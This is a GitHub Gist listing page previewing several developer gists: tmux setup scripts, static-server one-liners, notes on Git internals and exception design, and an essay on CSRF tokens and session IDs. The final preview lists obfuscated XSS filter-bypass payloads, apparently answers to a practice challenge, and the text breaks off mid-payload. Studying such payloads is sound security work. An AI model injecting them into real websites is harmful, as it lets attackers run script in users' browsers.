Skip to content

Instantly share code, notes, and snippets.

@ryin
ryin / tmux_local_install.sh
Last active April 23, 2024 01:06
bash script for installing tmux without root access
#!/bin/bash
# Script for installing tmux on systems where you don't have root access.
# tmux will be installed in $HOME/local/bin.
# It's assumed that wget and a C/C++ compiler are installed.
# exit on error
set -e
TMUX_VERSION=1.8
@hayajo
hayajo / changelog_en.md
Last active May 3, 2024 08:29
ChangeLog を支える英語

ChangeLog を支える英語

ChangeLog を書く際によく使われる英語をまとめました。

ほとんど引用です。

基本形

@willurd
willurd / web-servers.md
Last active June 21, 2024 13:36
Big list of http static server one-liners

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000
@sgk
sgk / README.md
Last active April 8, 2016 14:30
Gnome端末の日本語表示で「↑」とか「◯」の幅を全角にする(Ubuntu 14.10用)。

Ubuntu 15.04では、プロファイル設定の「互換性」タブで設定できるので不要。この方法は機能しない。

  • このファイルを、~/.local/share/applications以下に、○○.desktopなどという名前で置き、実行権限をつける。
  • Nautilus(ファイルブラウザ)から、このファイルを開く。
  • 端末が開いてランチャにアイコンが現れるので、アイコンを右クリック→「Launcherに登録」をクリック。

vimではまた別の問題があるので、.vimrcの中で「set ambiwidth=double」も必要。

@sunaot
sunaot / exception.md
Created August 2, 2013 09:13
例外設計の話

例外設計の話。

こんな指針がいいのかなー 2013 夏 ver.

例外の目的とは?

.NET の「例外のデザインのガイドライン」にもこう書いてある。

@Kuniwak
Kuniwak / 2013_11_15_githubjp_note.markdown
Last active October 30, 2018 07:06
「GitHub トレーニングチームから学ぶ Git の内部構造」のノートです。 曖昧なところもあるので、間違いがあったら教えてください! http://connpass.com/event/3808/

GitHub トレーニングチームから学ぶ Git の内部構造

Graphs, Hashes, and Compression, Oh My!

Hash について

従来の CVCS (集中バージョン管理システム)のリビジョン番号は連番。 SVN はサーバーにデプロイした時点でリビジョン番号1と設定される。

@penguin2716
penguin2716 / scale_resolution.rb
Created February 9, 2014 06:27
update screen resolution by setting scale ratio automatically
#!/usr/bin/env ruby
=begin
Copyright (c) 2014 Takuma Nakajima
This software is released under the MIT License.
http://opensource.org/licenses/mit-license.php
=end
@mala
mala / gist:9086206
Created February 19, 2014 04:49
CSRF対策用トークンの値にセッションIDそのものを使ってもいい時代なんて、そもそも無かった

概要

http://co3k.org/blog/csrf-token-should-not-be-session-id について。

この記事では触れられていませんが、

  • むかし、セッションIDをHTMLソース中に埋め込んでも脅威は変わらないと主張した人がいました
  • 正確には「hiddenの値のみ漏れやすいような特殊な脆弱性が無ければ」という前提であったけれど、実際にそのようなバグはあったし、予見されていた。
  • とても影響のある人だったので、色々なサイトや書籍がその方法を紹介し、安全なウェブサイトの作り方にも載ってしまいました

この際ハッキリ言っておくべきだと思うので書きますが、そもそもセッションIDを(HTMLソース中に埋め込む)CSRF対策トークンとして使うのは間違いでした。最初から間違っていたのです。正確に言うとCSRFの話は関係ないですね。CSRF関係なく、特に「単体で」セッションハイジャックが可能になるような値を、HTMLソース中に埋め込むべきではありません。

@KOBA789
KOBA789 / .tmux.conf
Created May 5, 2014 16:43
tmux: IMAGINE THE FUTURE.
set -g prefix C-t
unbind-key C-b
bind-key C-t send-prefix
set -g default-terminal xterm-256color
set-option -g default-shell /bin/zsh
# powerline
set-option -g pane-active-border-fg colour54
@akiym
akiym / gist:9c9f903d824fddcaf2c8
Last active December 8, 2015 01:06
箱庭XSSリターンズ (akiym, xrekkusu, lmt_swallow)
"onPaste="eval(';)\'SSX\'(trela'.split('').reverse().join(''))"
"><link rel="stylesheet" href="http://8ant.org/asdfqwer.css"><"
"onfocusin="top['\x61\x6C\x65\x72\x74']('\x58\x53\x53')"
"onfocusout="parent[String.fromCharCode(500-403,500-392,500-399,500-386,500-384)](String.fromCharCode(300-212,300-217,300-217))"
"onfocus="window['\141\154\145\162\164']('\130\123\123')"
"onKeyDown="&#00112;arent['aleraaaaat'.replace('aaaaa','')]('XaaaaaSaaaaaS'.replace('aaaaa','').replace('aaaaa',''))"
"onDblClick="&#119;indow['aleraaaat'.re&#0112;lace('aaaa','')]('XaaaaSaaaaS'.re&#0112;lace('aaaa','').re&#0112;lace('aaaa',''))"
"onMouseUp="wi&#110dow[Str&#105;ng.fromC&#104;arCode(501-404,501-393,501-400,501-387,501-385)]&#0000040;&#0000039;&#0000088;&#0000083;&#0000083;&#0000039;&#0000041;"
"onMouseEnter="&#000097;&#0000108;&#0000101;&#0000114;&#0000116;&#000040;&#000039;&#000088;&#000083;&#000083;&#000039;&#000041;"
"onMouseDown="&#00097;&#000108;&#000101;&#000114;&#000116;&#00040;&#00039;&#00088;&#00083;&#00083;&#00039;&#00